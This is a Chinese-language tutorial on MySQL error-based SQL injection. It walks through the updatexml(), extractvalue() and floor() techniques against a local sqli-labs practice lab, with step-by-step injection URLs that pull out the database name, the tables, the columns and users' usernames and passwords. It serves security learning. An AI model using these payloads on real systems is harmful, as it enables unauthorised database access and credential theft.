mysql注入报错函数,mysql报错注入

1、报错注入攻击payload语法

由于后台没有对数据库的报错信息做过滤,会输入到前台显示,那么我们可以利用制造报错函数(常用的几个函数updatexml(),extractvalue(),floor())进行渗透。

报错注入流程:

1、判断是否存在注入点

2、构造错误的语法制造报错

3、使用提示报错信息输出内容。

updatexml()函数:

xml可扩展标记语言,update()更新函数

updatexml()函数具有查询功能的函数,由于查询

语法:updatexml(xml_document,xpath_expr,new_value)

xml_document:需要操作的xml片段

xpath_expr:需要更新的xml路径

new_value:更新后的内容

我们只需将第二个参数,错误格式化即可

concat():内容拼接  0x7e:构造错误的参数

1、暴库

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(database())),1) --+

2、爆表

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1) --+

3、爆字段

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1) --+

4、爆数据

http://127.0.0.1/sqli/Less-1/?id=1' and updatexml(1,concat(0x7e,(select group_concat(id,username,password) from security.users)),1) --+

extractvalue():

语法:extractvale(xml_frag,xpath_expr)

xml_frag:编辑片段

xpath_expr:xpath表达式

extractvalue()函数与updatexml()语法大致相同。

1、爆库

http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(database()))) --+

2、爆表

http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'))) --+

3、爆字段

http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))) --+

4、爆数据

http://127.0.0.1/sqli/Less-1/?id=1' and extractvalue(1,concat(0x7e,(select group_concat(id,username,password) from security.users ))) --+

floor():

注:count():统计函数、concat():内容拼接、floor():向下取整、rand():随机数,这里rand(0)*2,表示随机生成0-1的浮点数、group by 分组

爆库:

http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat(database(), floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+

爆表:users

http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select table_name from information_schema.tables where table_schema='security' limit 3,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+

爆字段:

http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select column_name from information_schema.columns where table_schema='security' limit 1,1),'~',floor(rand(0)*2)) as a from information_schema.tables group by a)b) --+

爆数据:

http://127.0.0.1/sqli/Less-1/?id=1' and (select 1 from (select count(*),concat('~',(select concat(username,";",password)from security.users limit 5,1) ,'~',floor(rand(0)*2)) as a from security.users group by a)b) --+

标签:Less,sqli,报错,concat,mysql,注入,id,select,schema

来源: https://www.cnblogs.com/xiangbing123/p/12913891.html

你可能感兴趣的:(mysql注入报错函数)